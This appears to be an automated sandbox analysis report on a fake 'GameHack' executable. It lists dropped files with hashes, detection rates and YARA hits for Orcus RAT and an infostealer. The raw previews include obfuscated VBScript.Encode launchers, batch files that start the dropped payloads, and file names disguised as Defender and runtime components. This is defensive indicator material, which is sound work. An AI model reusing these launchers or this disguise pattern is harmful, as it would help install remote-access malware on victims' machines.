Preview:	DXev6IF8ogjZsQER8DOCauOPPsYF51TVAtLdHmevWlG3uVFd7SuFyJBSIOgNt9DxNOY9ElKVicqznUe3m5ImHNg1s3U2GRCWhTpg6GZWHYgWdMpxumly1bqAshRLQRPRaTRTp87ffvesqJYgNhIepNfGnpxZzNG0JO6K4VIvpFSF67TiJu7tJumMxKq9KhqSpojcNNl2YXzk5ZKpVPPEPWqYmuWuoJkHZAaRX1U5JFUw5BRXAAn5SlCS8Lzd10NPwrL492Re4U4JB4clc8uofozx8HTMB1ES2F9O0WYHtJA7q2QEtOA2GiuH2X61jFcCQmQ64OuFkm4Vo1HF1Pdx0LLTV2Vcaghnq7rElUJed4SdoYdBQ09UmpMEa6kC2RpDFRpqJCdhF8T62sp7YUMjgNBBvmootHmMPPYXsx1NWcOnVPLsRmniFFg1Pn4gYzx7WHqnTSPkd8

C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\DaJttDh54LCmoatNZvevDoWyEmexKWgun1WAXP2cdZM0egnWJQQpZtVxW.bat

Download File

Process:	C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.148764152109411
Encrypted:	false
SSDEEP:	3:qzL10zJhC/ae/zsAHhQLgW7saXj9WQN1VBUn:qP+lhCnhBQpXj9WQNxU
MD5:	FBEF3B76368E503DCA520965BB79565F
SHA1:	9A1A27526B8B9BDAAE81C5301CD23EB613EA62BA
SHA-256:	BCB2AF67A4EA1E6AA341CF3141941DBE7B17F1911E7F20ABA46552571F99C9F3
SHA-512:	2B99BC9A945B6D9A2C0D3206DCE9221EB7F4A2040C5096909D60C3278254C52B39A28DD18DD4E005EFF0EBD7E7CBA6DD3A6A94EA8A7D7598DA3001DA174DB3F5
Malicious:	false
Preview:	%jzOvzdselMnn%%jIqPQVldutsgTz%..%ZiNfvZVusnY%"%AppData%\WinRuntimePerfMonitor/runtimesvc.exe"%UYoWwdhRT%

C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe

Download File

Process:	C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1700533
Entropy (8bit):	7.0902455625657685
Encrypted:	false
SSDEEP:	49152:ubA3j1Tyr7ulSPsGq3xVeJNFsZeru6hS3:ube2rylSPsGIuJH1thS3
MD5:	BC7804FCA6DD09B4F16E86D80B8D28FA
SHA1:	A04800B90DB1F435DD1AC723C054B14D6DD16C8A
SHA-256:	1628864AB0BAFE8AFEA2AD70956B653550DAB3DB7C4CDF6F405E93A6C2441DCE
SHA-512:	7534AC0A215F02AF85BDF2B414E23FACE0570943F8820E7BFE97EA274CCD1A01618556E93B7465C2D9FBB0BCDE5E97FAB9E9B6BDDD366554277EF308CDE3A83C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...*...._......._..'...._f.'...._..'...Rich&...................PE..L....._............................@........0....@..........................@............@......................... ...4...T...<....0..........................h"......T............................U..@............0..`...... ....................text............................... ..`.rdata.......0......................@..@.data...(7..........................@....didat....... ......................@....rsrc........0......................@..@.reloc..h".......$..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe

Download File

Process:	C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3115520
Entropy (8bit):	7.863824279295955
Encrypted:	false
SSDEEP:	49152:43X27p1EZKMnkmWg8LX5prviYDyKS5AypQxbRQAo9JnCmpEu/nRFfjI7L0qb:4WHTPJg8z1mKnypSbRxo9JCm
MD5:	10E817A4D5E216279A8DE8ED71C91044
SHA1:	97C6FB42791BE24D12BD74819EF67FA8F3D21724
SHA-256:	C60F74F6E164049E683A5F01B8CFEA24AA85CBF6C7B31B765CBAD16D8AB0D7B2
SHA-512:	34421A517F5F1909AFD694D24E22CAFAD9930725DF964BA9C80666E9F0F2DCFDD2A254DCF6699E5797296EC3AE611593563779DF05E3A617C7F8679A154DFD37
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, Author: Joe Security Rule: JoeSecurity_OrcusRat, Description: Yara detected Orcus RAT, Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: RAT_Orcus, Description: unknown, Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 84%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....&.d.................p/.........../.. ........@.. ......................../...........`.................................L./.O...../......................./...................................................... ............... ..H............text....o/.. ...p/................. ..`.rsrc........./......r/.............@..@.reloc......../......./.............@..B................../.....H.......xk..#.............0.'..........................................(....6.(.....(....R..(.....{....o....&z.,..{....,..{....o......(....*....0..V............(....s......s....}.....s....}.....s....}.....s....}.....s....}.....s....}.....(.....{.....o.....{...... ....s....o.....{....r...po.....{.....S..s....o.....{.....o.....{....r...po.....{.....o.....{.....o.....{....r!..p"..@A...s....o.....{.....) .... ....(....o.....{........s....o.....{....r3..po.....{.... ......s..

C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe

Download File

Process:	C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe
File Type:	MS-DOS executable PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4796928
Entropy (8bit):	7.999957858848529
Encrypted:	true
SSDEEP:	98304:s61/dl9EOCUWXid3GVg3T+QOov7ASFoSQXz0xfmxg99O4LvFLuPkNv:s8/vWOCFidWo+QOovFFoJXz0Bt99OGvH
MD5:	E8C32CC88DB9FEF57FD9E2BB6D20F70B
SHA1:	E732B91CD8AC16FA4CE8AD9E639BF21D69F6BB45
SHA-256:	F787CE198538B1C0B2BFCE8CE5297E34152CF6DEEBE559DF6887F65C72A081A4
SHA-512:	077307D42438F2B72D62CE9E35C67C09E1375C2E203E6D6D455C6C8861C6442B3D82F1345B6C76940F5E8015FE93491158A59B102FABD139C742D75C2C42BA7A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d...........&...."......"...........0........@..............................@............ ... ..............................................0................k.....................................................................(0...............................MPRESS1. .......$I......................MPRESS2.....0.......&I....................................................................................................................v2.19..`#I. ...........p:...y..W....k].K@e>J..\|U.x+I...Rs.H..g}...<(d@;..wyzf.P..8..k'..0._k..l.....og..........f....K...c....<.k..K..5..h..=&...I....C5!D.,...\|..7h.........t9I..P..0B8..'mt..M.....<&P...e.....R{.0.M...p..r.}.\|.=J.V..JR.....BG.w:0(AI'.......?)<3.]..E..U.O..Jp.."..!.8s..+.d8x).d.....<..Qf.T.I..?,.S..Y.q.T......$.~s#.Q...-..U...].....>..Z&Iv.....Z[.;pnu\......r)V".a.QX^OC..?. Q...C}:2.Q.....w...^Y~.Z.tw/;..i;6>..>;5y..9....k.....l..U.}/x=.z.,4U(..

C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe

Download File

Process:	C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe
File Type:	data
Category:	dropped
Size (bytes):	263
Entropy (8bit):	5.990912287621547
Encrypted:	false
SSDEEP:	6:GWwqK+NkLzWbH9WF08nZNDd3RL1wQJRZ7tUAKh9s4U/LKVShDwPtxs:GbMCzWL74d3XBJr7shW/qqwPtxs
MD5:	A05E26D89C5BE7E2C6408B09CD05CF74
SHA1:	C24231C6301F499B35441615B63DB6969A1762FD
SHA-256:	05628DFFF22E15B219A711CF52A2C87521170853979F00FCD014CF164656418E
SHA-512:	8C8733F12DD71CFAFD2EDBFAD487279D6ED971EB119B1CDE92A905F4658A9B090F831F42EF2228A4F6C64071A1F54FB74708438B4361E317E36016897577913D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^7gAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vT!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~Ju)aw9mYm]zqk.]E.Yr:.nn.6HW.rYKDzJ9C9DYGtXcJ/sWCYgt\.\9GqX2hnX\|.o!U8.)onymN\HZno..Bp5wtOj6.c8lDJ~,TSP6l^/n/k0AAA==^#~@.

C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe

Download File

Process:	C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	569844
Entropy (8bit):	7.487969174812562
Encrypted:	false
SSDEEP:	12288:7GBfAoq+6b7AaSxWtkmtoIg132s/q3DMJGk58qgd/t:7mApDuWAt2F3xwk9t
MD5:	00C4245522082B7F87721F9A26E96BA4
SHA1:	993A8AA88436B6C62B74BB399C09B8D45D9FB85B
SHA-256:	A728F531427D89C5B7691F989E886DF57D46F90D934448E6DABF29D64D0662BF
SHA-512:	FDD8D2444B28883FACE793F6EA77913C2096A425E6101202536EA001C3DF5E76A60A01673EE7A52EAE827A12299B2727002895395315DB190EC82AE11A68559F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ@.....................................!..L.!It's .NET EXE$@...PE..L....&.M............................^.... ...@....@.. ....................................@.....................................O....@.. ....................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B...........................................................................v2.19@.......H.......d&...............................................................0............%..,....i-....+...........%..,....i-.....+...................XGR......8.........%.X.XG..........-.....c.........XG.b.X.......8....... ...._ .............:]........XJ..........-....c....X... ...._... .............-@....c....._..........-....X... ...._ ....X....a...+....._.X...+}....c....._....E............%...;...+V...?_.X..+K..X... ...._.AX....a..+3.. .?.._ A...X....X.+....XX... ...._ AD..X.

C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3115520
Entropy (8bit):	7.863824279295955
Encrypted:	false
SSDEEP:	49152:43X27p1EZKMnkmWg8LX5prviYDyKS5AypQxbRQAo9JnCmpEu/nRFfjI7L0qb:4WHTPJg8z1mKnypSbRxo9JCm
MD5:	10E817A4D5E216279A8DE8ED71C91044
SHA1:	97C6FB42791BE24D12BD74819EF67FA8F3D21724
SHA-256:	C60F74F6E164049E683A5F01B8CFEA24AA85CBF6C7B31B765CBAD16D8AB0D7B2
SHA-512:	34421A517F5F1909AFD694D24E22CAFAD9930725DF964BA9C80666E9F0F2DCFDD2A254DCF6699E5797296EC3AE611593563779DF05E3A617C7F8679A154DFD37
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, Author: Joe Security Rule: JoeSecurity_OrcusRat, Description: Yara detected Orcus RAT, Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: RAT_Orcus, Description: unknown, Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 84%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....&.d.................p/.........../.. ........@.. ......................../...........`.................................L./.O...../......................./...................................................... ............... ..H............text....o/.. ...p/................. ..`.rsrc........./......r/.............@..@.reloc......../......./.............@..B................../.....H.......xk..#.............0.'..........................................(....6.(.....(....R..(.....{....o....&z.,..{....,..{....o......(....*....0..V............(....s......s....}.....s....}.....s....}.....s....}.....s....}.....s....}.....(.....{.....o.....{...... ....s....o.....{....r...po.....{.....S..s....o.....{.....o.....{....r...po.....{.....o.....{.....o.....{....r!..p"..@A...s....o.....{.....) .... ....(....o.....{........s....o.....{....r3..po.....{.... ......s..

C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe.config

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	357
Entropy (8bit):	5.044876050355283
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VJdfEyFRdSC7VrfC7VNQfC7VOVx/OfEyFRfyruUuAW4QIT:TMHdG3VOcrdS+QmafyV93xT
MD5:	A2B76CEA3A59FA9AF5EA21FF68139C98
SHA1:	35D76475E6A54C168F536E30206578BABFF58274
SHA-256:	F99EF5BF79A7C43701877F0BB0B890591885BB0A3D605762647CC8FFBF10C839
SHA-512:	B52608B45153C489419228864ECBCB92BE24C644D470818DFE15F8C7E661A7BCD034EA13EF401F2B84AD5C29A41C9B4C7D161CC33AE3EF71659BC2BCA1A8C4AD
Malicious:	true
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. <supportedRuntime version="v4.0.30319" sku=".NETFramework,Version=v4.0,Profile=Client" />.. </startup>..</configuration>

C:\Users\user\AppData\Roaming\chainReviewdhcp\LJrjU6BhAd6hMsY1uw5hl2I0p3Jh.bat

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.256328385912463
Encrypted:	false
SSDEEP:	3:B9lcTBtGQv0X+MpAEn:BMttfGn
MD5:	2FA8DECC3DAFE6F196F6C28769192E7C
SHA1:	69F4E0CF41B927634A38B77A8816CA58C0BFB2DE
SHA-256:	7E40EB542D164397C0BF17A47C8F0DB79E7028299E9F180D38505220FD2CFB30
SHA-512:	C9FB6C2AC2441FF14673CCAA3F1D5E703356C093353992D302D34DF6C9E26A85ABA6760C3B98F0CD0ADA45183C55B2E5CABC09978CA084077DD71743CA9FDBC1
Malicious:	false
Preview:	"%AppData%\chainReviewdhcp\containerRuntime.exe"

C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1383424
Entropy (8bit):	7.10154063680082
Encrypted:	false
SSDEEP:	24576:CwTyrxj57zKlIDSDZwPcd9Gm6M1e8QyDVeJl7CQC3fZeru6hSCj:DTyr7ulSPsGq3xVeJNFsZeru6hS
MD5:	52C95032FF8B8C3D4DFD98E51D8F6F58
SHA1:	E841A32CB07ADAAD4DB35B1F87B5DF6E019EB9AF
SHA-256:	39B35293E7EFAA4CB94028E59872013BEF4065788FEF9FE3CD3206A8AEE711E4
SHA-512:	A1177740FFBB476FB11F8112D98CABE3012EE3D54F2F848BB22EA99B53BD3526BF59065951FB6EF29F29408AB2FD90C942DE65FE16D66A098ABCE8BA5D7D4E00
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 78%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.....................................K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\chainReviewdhcp\mJEJ7PbY35CMaAu5227dvHv.vbe

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe
File Type:	data
Category:	dropped
Size (bytes):	227
Entropy (8bit):	5.841796052941854
Encrypted:	false
SSDEEP:	6:GavwqK+NkLzWbH9WF08nZNDd3RL1wQJRZ7rRXN9id:Ga2MCzWL74d3XBJr7rzE
MD5:	D47062C8738A534FC931C0F341A61773
SHA1:	C1175037A0E96363DA56BC9D8ABDB726CDDC74FC
SHA-256:	484CC22B88E1EAAE619F948E96812EBF70275F9E6408E2E3DBD8AF827AC5199A
SHA-512:	9DE6DCF7944EC9F2FF44C8FDBE562A6755C2AF9800028B01FB0969921E6EF969C1ECC6E2AB129F191AC5FEEAA9AA30CF436489DFEE8E94433D6678A9942FFE39
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^ygAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vT!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~Ju)aw9mYm]z1tmrx"+-k.h[41wzdBDNjv~4)N+tt/eF;Alts &Tw294 (lYES,!SP6C^/nQUAAAA==^#~@.

C:\Users\user\Desktop\BpJZMyRc.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ErvIhhWY.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.492504448438552
Encrypted:	false
SSDEEP:	384:l22wC6hQRJUvdyLhbQPPRGAHInimWSVr3a/orMeOhB7FeyZufrC:YqsVQLV3AHInimWSVr3a/owtHsyGC
MD5:	0EEEA1569C7E3EBBB530E8287D7ADCF9
SHA1:	3C196FA10144566EBFBEE7243313314094F3A983
SHA-256:	57E65CEFA95C6DC9139181DE7EC631174714F190D85127EB2955FB945A5F51DE
SHA-512:	1A8614E5DE92B3F4377E40A1D7C9EC7A519E790EB7D0882F79B4C79509929F1FBF0520465764E1C1E8FD8FBB350985F01BF8E092043615E16B14B27DD140B860
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 33%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....".d...........!.....V...........u... ........@.. .............................."F....@.................................lu..O.................................................................................... ............... ..H............text....U... ...V.................. ..`.rsrc................X..............@..@.reloc...............\..............@..B.................u......H........P...$..........,P..x....................................................................................................................................................................(...@/.l#..r\.*................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PxMOoBdB.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\QLuoYXmy.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28160
Entropy (8bit):	5.570953308352568
Encrypted:	false
SSDEEP:	384:BBOVNMHHPrq2YQGpX0dx+D4uuMig590gQDhJvoKfqeXOWnKNey/B/HM/g/6Y70FB:LOCPAEdx+vuNgD0gQ/gCYoTyn+
MD5:	A4F19ADB89F8D88DBDF103878CF31608
SHA1:	46267F43F0188DFD3248C18F07A46448D909BF9B
SHA-256:	D0613773A711634434DB30F2E35C6892FF54EBEADF49CD254377CAECB204EAA4
SHA-512:	23AA30D1CD92C4C69BA23C9D04CEBF4863A9EA20699194F9688B1051CE5A0FAD808BC27EE067A8AA86562F35C352824A53F7FB0A93F4A99470A1C97B31AF8C12
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....s.e...........!.....f..........^.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...dd... ...f.................. ..`.rsrc................h..............@..@.reloc...............l..............@..B................@.......H........X..4+...........W..(..................................................................................................................................................................._..\.....+....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\WmQvmhxk.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\brpMezGb.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jdhUscxN.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.529329139831718
Encrypted:	false
SSDEEP:	384:ka1bzkw+rsI7GpusgGjLtdPh39rHjN61B7oezUCb2sI:ka5z3IifgGjJdPZ9rDYjtzUmI
MD5:	8AE2B8FA17C9C4D99F76693A627307D9
SHA1:	7BABA62A53143FEF9ED04C5830CDC3D2C3928A99
SHA-256:	0B093D4935BD51AC404C2CD2BB59E2C4525B97A4D925807606B04C2D3338A9BE
SHA-512:	DEFDF8E0F950AA0808AA463363B0091C031B289709837770489E25EC07178D19425648A4109F5EFD0A080697FA3E52F63AABF005A4CCD8235DF61BB9A521D793
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ...............................c....@.................................ts..W.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H........O...#...........N......................................................................................................................................................................o+.tEy...7..o.v.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\mOMkzqHG.log

Download File

Process:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
